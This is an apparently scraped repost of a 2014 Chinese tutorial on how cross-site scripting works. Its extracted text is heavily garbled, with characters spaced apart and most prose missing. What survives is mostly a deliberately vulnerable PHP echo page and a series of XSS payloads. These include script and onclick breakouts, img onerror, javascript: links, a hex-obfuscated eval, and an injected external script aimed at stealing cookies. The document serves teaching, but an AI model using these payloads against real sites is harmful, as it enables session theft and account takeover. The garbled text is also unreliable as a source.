[8191] 2014-08-12_XSS的原理分析与解剖

文档创建者:s7ckTeam
浏览次数:21
最后更新:2025-01-17
2014-08-12_XSS的原理分析与解剖 X S S F r e e B u f   2 0 1 4 - 0 8 - 1 2   B l a c k - H o l e 0 × 0 1   : x s s ( ) W E B c n 4 r r y X S S x s s 西 x s s W e b 1 2 3 4 h t m l j s h t m l j s a c t i o n s c r i p t 2 / 3 . 0 5 6 w e b s i t e h t t p - o n l y c r o s s d o m i a n . x m l X s s g o o g l e b a i d u 3 6 0 0 × 0 2   : P H P ( 使 p h p s t u d y ) i n d e x . p h p : < h t m l > < h e a d > < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 "   / >   < t i t l e > X S S < / t i t l e > < / h e a d > < b o d y > < f o r m   a c t i o n = " "   m e t h o d = " g e t " > < i n p u t   t y p e = " t e x t "   n a m e = " x s s _ i n p u t " > < i n p u t   t y p e = " s u b m i t " > < / f o r m > < h r > < ? p h p $ x s s   =   $ _ G E T [ ' x s s _ i n p u t ' ] ; e c h o   ' < b r > ' . $ x s s ; ? > < / b o d y > < / h t m l >
a b c d 1 2 3 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 1 2 < b r > < / b o b y > < b r > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < / b o b y > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > x s s
X S S x s s 0 × 0 3   x s s   : x s s < b r > < / b o b y > h t m l   < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > : < h t m l >         < h e a d >                 < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 "   / >                 < t i t l e > X S S < / t i t l e >         < / h e a d >         < b o d y >                 < c e n t e r > < h 6 >   i n p u t v a l u e < / h 6 >                 < f o r m   a c t i o n = " "   m e t h o d = " g e t " > < h 6 > < / h 6 >                 < i n p u t   t y p e = " t e x t "   n a m e = " x s s _ i n p u t _ v a l u e "   v a l u e = " " > < b r >                 < i n p u t   t y p e = " s u b m i t " > < / f o r m > < h r >                 < ? p h p                       $ x s s   =   $ _ G E T [ ' x s s _ i n p u t _ v a l u e ' ] ;                       i f ( i s s e t ( $ x s s ) ) {                               e c h o   ' < i n p u t   t y p e = " t e x t "   v a l u e = " ' . $ x s s . ' " > ' ;                       }   e l s e   {                               e c h o   ' < i n p u t   t y p e = " t y p e "   v a l u e = " " > ' ;                       } ? >                 < / c e n t e r >         < / b o d y > < / h t m l >
1 i n p u t v a l u e 1 ( < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > ) 1 5 i n p u t v a l u e v a l u e < s c r i p t > a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) < / s c r i p t > " > i n p u t
i n p u t " > " > " > i n p u t " > h t m l p h p x s s X S S x s s 使 i n p u t j s h t m l o n o n x s s   "   o n c l i c k = " a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; )
o n c l i c k i n p u t o n c l i c k a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) 1 5 v a l u e o n o n c l i c k i o n c l i c k O n m o u s e m o v e   O n l o a d   < t e x t a r e a > s c r i p t
< / t e x t a r e a > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 0 × 0 4   s c r i p t   x s s j s j s O K i m g a < i m g   s c r = 1   o n e r r o r = a l e r t ( ' x s s ' ) > 1 a l e r t ( ' x s s ' ) < a   h r e f = j a v a s c r i p : a l e r t ( ' x s s ' ) > s < / a >   s a l e r t ( ' x s s ' ) < i f r a m e   s r c = j a v a s c r i p t : a l e r t ( ' x s s ' ) ; h e i g h t = 0   w i d t h = 0   / > < i f r a m e > i f r a m e s c r < i m g   s r c = " 1 "   o n e r r o r = e v a l ( " x 6 1 x 6 c x 6 5 x 7 2 x 7 4 x 2 8 x 2 7 x 7 8 x 7 3 x 7 3 x 2 7 x 2 9 " ) > < / i m g > a l e r t x s s j s ( ) 0 × 0 5   x s s x s s x s s 使 j s < s c r i p t   s c r = " j s _ u r l " > < / s c r i p t > < i m g   s r c = x   o n e r r o r = a p p e n d C h i l d ( c r e a t e E l e m e n t ( ' s c r i p t ' ) ) . s r c = ' j s _ u r l '   / > 姿 j s O K j s J s c o o k i e s ( h t t p - o n l y ) ( ) < s c r i p t   s c r = " j s _ u r l " > < / s c r i p t > c o o k i e s c o o k i e c o o k i e s       j s j s x s s
c n 4 r r y x s s h t t p : / / p a n . b a i d u . c o m / s / 1 n t q O p 4 X c n 4 r r y d o c c n 4 r r y   x s s   x s s     x s s   x s s x s s f u z z i n g   x s s x s s
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